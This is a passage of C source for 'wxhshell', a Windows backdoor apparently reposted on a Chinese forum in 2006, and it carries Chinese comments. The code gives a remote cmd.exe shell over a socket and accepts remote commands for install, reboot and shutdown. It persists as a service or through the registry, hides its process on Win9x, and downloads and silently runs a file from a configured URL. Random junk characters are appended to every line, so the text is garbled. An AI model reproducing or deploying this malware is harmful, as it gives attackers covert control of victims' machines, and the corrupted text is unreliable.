    switch(cmd[0]) { j:%~:  
  @L%9NqE`O  
  // 帮助 R|T_9/#)  
  case '?': { M%wj6!5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '|0Dt|$  
    break; *M_.>".P  
  } xo0",i f8  
  // 安装 ,.` ";='o  
  case 'i': { WV5gH*uUa  
    if(Install()) L&qzX)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DRD%pm(  
    else R1z\b~@"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D-.XSIEMu  
    break; Ox"4 y  
    } ?aInn:FE  
  // 卸载 +]Oq{v:e  
  case 'r': { o y! W$ ?6  
    if(Uninstall()) m:<cLc :.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H#8]Lb@@:  
    else 4A%O`&eZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,jyNV<dI  
    break; YMG{xGPtM  
    } 22L#\qVkl  
  // 显示 wxhshell 所在路径 XF1x*zc  
  case 'p': { 0X\,!FL  
    char svExeFile[MAX_PATH]; >2 gemTy  
    strcpy(svExeFile,"\n\r"); ?lzg )88I  
      strcat(svExeFile,ExeFile); J<:qzwh  
        send(wsh,svExeFile,strlen(svExeFile),0); *-bR~  
    break; [3s,U4a  
    } rMqWXGl`(  
  // 重启 " *xQN "F  
  case 'b': { / sENoQR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I<*U^e  
    if(Boot(REBOOT)) 8#S|j BV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rr2'bf<]  
    else { b1>%%#  
    closesocket(wsh); >R/^|hnJ  
    ExitThread(0); ARW|wXhyf  
    } -^8gZk/(W  
    break; $kJvPwRO  
    } GLA,,i'i9  
  // 关机 !3K6ew>Sf  
  case 'd': { O qDLb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x+(h#+F  
    if(Boot(SHUTDOWN)) Z>Nr"7k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $%VFk53I  
    else { JoA^9AYhR  
    closesocket(wsh); L<Q1acoZm  
    ExitThread(0); e9h T  
    } 3|RfX  
    break; )Y@  
    } ^;GJ7y&,d  
  // 获取shell Py6c=&*  
  case 's': { Zi/l.=9n  
    CmdShell(wsh); 0@1AH<  
    closesocket(wsh); q@P5c  
    ExitThread(0); wo84V!"A  
    break; bT>% *  
  } 8QDRlF:;<  
  // 退出 -MoI{3a  
  case 'x': { RX:\@c&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kRnh20I  
    CloseIt(wsh); $lci{D32,  
    break; 7ZS 5u+o  
    } }:YS$'by  
  // 离开 UaCEh?D+Y  
  case 'q': { F<X)eO]tk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TPp%II'*  
    closesocket(wsh); InMeD[*^  
    WSACleanup(); nCEt*~t9VE  
    exit(1); FJo N"X  
    break; It!%/Y5  
        } I(/W+ o  
  } -O3^q.   
  } r#rQ3&Vn  
#b []-L!  
  // 提示信息 ? )-*&1cv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eh nN  
} Afo(! v  
  } |h(!CFR  
7Q} P}9n  
  return; #\iQ`Q<B  
} u&".kk  
vn~DtTp/  
// shell模块句柄 ~\}%6W[2  
int CmdShell(SOCKET sock) S0 M-$  
{ ^]^Y~$u  
STARTUPINFO si; nX<!n\J T  
ZeroMemory(&si,sizeof(si)); n NZq`M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $zbm!._~DA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j/wG0~<kz  
PROCESS_INFORMATION ProcessInfo; \dCoY0Z ;  
char cmdline[]="cmd"; <6U{I '  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $@+\_f'bU>  
  return 0; 7*d}6\ %  
} 4VSIE"8e  
%Vrl"4^}t  
// 自身启动模式 lh3%2Dq$  
int StartFromService(void) ^%|{>Mz;c  
{ c, \TL ]  
typedef struct V:)k@W?P  
{ YMad]_XOP  
  DWORD ExitStatus; )!hDF9O  
  DWORD PebBaseAddress; d4/snvq  
  DWORD AffinityMask; yC4JYF]JN  
  DWORD BasePriority; 3>yb$ZU"-  
  ULONG UniqueProcessId; )-#%  
  ULONG InheritedFromUniqueProcessId; Yn[y9;I{  
}   PROCESS_BASIC_INFORMATION; 8263  
A!H6$-W|p  
PROCNTQSIP NtQueryInformationProcess; /"tVOv#  
$}2m%$vJO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o5mt7/5[i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .?CDWbzq  
"T?%4^:g  
  HANDLE             hProcess; cIK-VmO  
  PROCESS_BASIC_INFORMATION pbi; 7EOn4I2@[  
q0jzng  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W@AZ<(RI:  
  if(NULL == hInst ) return 0; G+ Y`65  
 :D} xT]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1[D~Ee p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h&L+Qx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }4ijLX>b  
E {4/$}  
  if (!NtQueryInformationProcess) return 0; 9 Bz ~3  
M' "S:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ueZ`+g~gg  
  if(!hProcess) return 0; 5[]7baO)h1  
zv||&Hi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .Gh-T{\V'  
[{ K$sd  
  CloseHandle(hProcess); 'h%)@q)J)  
rr'RX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w '~f Z*  
if(hProcess==NULL) return 0; "X's>uM  
> YKvwbCf8  
HMODULE hMod; f I`6]?W  
char procName[255]; Ti#2D3  
unsigned long cbNeeded; ,E$^i~OO  
4&!`Yi_1L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }I}RqD:`  
x,@cU}D  
  CloseHandle(hProcess); Jj*XnL*  
[m?eSq6e2b  
if(strstr(procName,"services")) return 1; // 以服务启动 {[61LQ6V9  
UMpC2)5  
  return 0; // 注册表启动 :R{Xd{?  
} WM*[+8h  
eEb(TG~,Y  
// 主模块 jAfUz7@  
int StartWxhshell(LPSTR lpCmdLine) Q*ZqY  
{ mNc (  
  SOCKET wsl; Z 3m5DK  
BOOL val=TRUE; L10Vq}W"  
  int port=0; qi;@A-cq  
  struct sockaddr_in door; Pan^@B=Q  
he8y  
  if(wscfg.ws_autoins) Install(); ~#h@.yW^JN  
4gG&u33RrE  
port=atoi(lpCmdLine); NYM$0v`0YK  
[~` ; .7~  
if(port<=0) port=wscfg.ws_port; o_t2 Z  
V?kJYf(<  
  WSADATA data; }at8b ^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Vx;f/CH3!  
ZtlF]k:MV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f7)}A/$4+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w[I%Id;E  
  door.sin_family = AF_INET; _Xlf}BE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y\(Q  
  door.sin_port = htons(port); WpP8J1KN[  
?y>xC|kt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y)t< r  
closesocket(wsl); z'O$[6m6  
return 1; S7P](F=n#  
} W @Y$!V<  
r50}j  
  if(listen(wsl,2) == INVALID_SOCKET) { DM/J,q  
closesocket(wsl); tbJB0T|G  
return 1; CN#`m]l.  
} +_|M*%  
  Wxhshell(wsl); ^Jcs0c @\  
  WSACleanup(); 8c`g{ *z  
wA|m/SZx  
return 0; @aN<nd`q)  
M\ vj&T{k  
} Z Mids"Xdf  
$xNM^O  
// 以NT服务方式启动 51;V#@CsQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~=aD*v<3d  
{ h`-aO u  
DWORD   status = 0; 3kx/Q#  
  DWORD   specificError = 0xfffffff; 1Y$ gt  
DDq*#;dP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {(U?)4@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zGHP{a1O7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2>l4$G 0  
  serviceStatus.dwWin32ExitCode     = 0; YK!nV ,  
  serviceStatus.dwServiceSpecificExitCode = 0; L#Uk=  
  serviceStatus.dwCheckPoint       = 0; cod__.  
  serviceStatus.dwWaitHint       = 0; 9F845M  
kzny4v[y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1q]V/V}  
  if (hServiceStatusHandle==0) return; fdc ?`4  
'e^,#L_!o  
status = GetLastError(); y/k6gl[`  
  if (status!=NO_ERROR) IeLG/ fB  
{ *kY\,r&!P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AP' Uc A  
    serviceStatus.dwCheckPoint       = 0; v]& )+0  
    serviceStatus.dwWaitHint       = 0; XrS.[  
    serviceStatus.dwWin32ExitCode     = status; -^]8w QU  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ch%W C ,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 57k@] 3 4  
    return; kA1]o  
  } |6'(yn  
.0kltnB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tsVQXvo  
  serviceStatus.dwCheckPoint       = 0; /k qW  
  serviceStatus.dwWaitHint       = 0; OJPx V~y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }-?_c#G 3  
} t}>6"^}U  
*%5 .{J!  
// 处理NT服务事件,比如:启动、停止 x9k(mn%,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _p<W  
{ FivgOa  
switch(fdwControl) 6d&dB  
{ 3`uv/O2~i  
case SERVICE_CONTROL_STOP: ,l^; ZE  
  serviceStatus.dwWin32ExitCode = 0; }R4%%)j(Vj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p \A^kX^5  
  serviceStatus.dwCheckPoint   = 0; o%XAw   
  serviceStatus.dwWaitHint     = 0; kW0|\  
  { DP ,owk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c ]M!4.  
  } ?$i`K|  
  return; f4YcZyBGv  
case SERVICE_CONTROL_PAUSE: ^BIB'/Kh)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [y-0w.V=oE  
  break; JwG$lGNJ  
case SERVICE_CONTROL_CONTINUE: S&_Z,mT./  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `T7gfb%1-3  
  break; 4Xi _[ Xf  
case SERVICE_CONTROL_INTERROGATE: S+Z_Qf  
  break; GEj/Z};;[b  
}; QH@?.Kb_qU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G8dC5+h  
} ,e$]jC<sv2  
FDBj<uXfM|  
// 标准应用程序主函数 J}U);A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;#$ 67G$  
{ H&\[iZ| -N  
d.Wq@(ZoA  
// 获取操作系统版本 aNLRUdc.  
OsIsNt=GetOsVer(); H_RV#BW&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l/0"'o_0v#  
x O?w8*d  
  // 从命令行安装 2z+Vt_%  
  if(strpbrk(lpCmdLine,"iI")) Install(); kDI(Y=Fg  
X3&-kU  
  // 下载执行文件 {U@&hE -  
if(wscfg.ws_downexe) { cdiDfiE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l)tK/1 W  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9eO!_a^  
} UJ0fYTeuI  
%\Dvng6$  
if(!OsIsNt) { Gu[G_^>  
// 如果时win9x,隐藏进程并且设置为注册表启动 Pu/X_D-#Gi  
HideProc(); HwfBbWHr'  
StartWxhshell(lpCmdLine); 1bjhEO W  
} "P.H  
else Z Ear~  
  if(StartFromService()) {=mf/3.r  
  // 以服务方式启动 K"4m)B~@Y  
  StartServiceCtrlDispatcher(DispatchTable); QJiU"1  
else Y3@\uM`2#  
  // 普通方式启动 Xi"+{6  
  StartWxhshell(lpCmdLine); S. my" j  
|R[@u=7s  
return 0; s jl(  
}
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只看该作者 1 发表于: 2006-10-10
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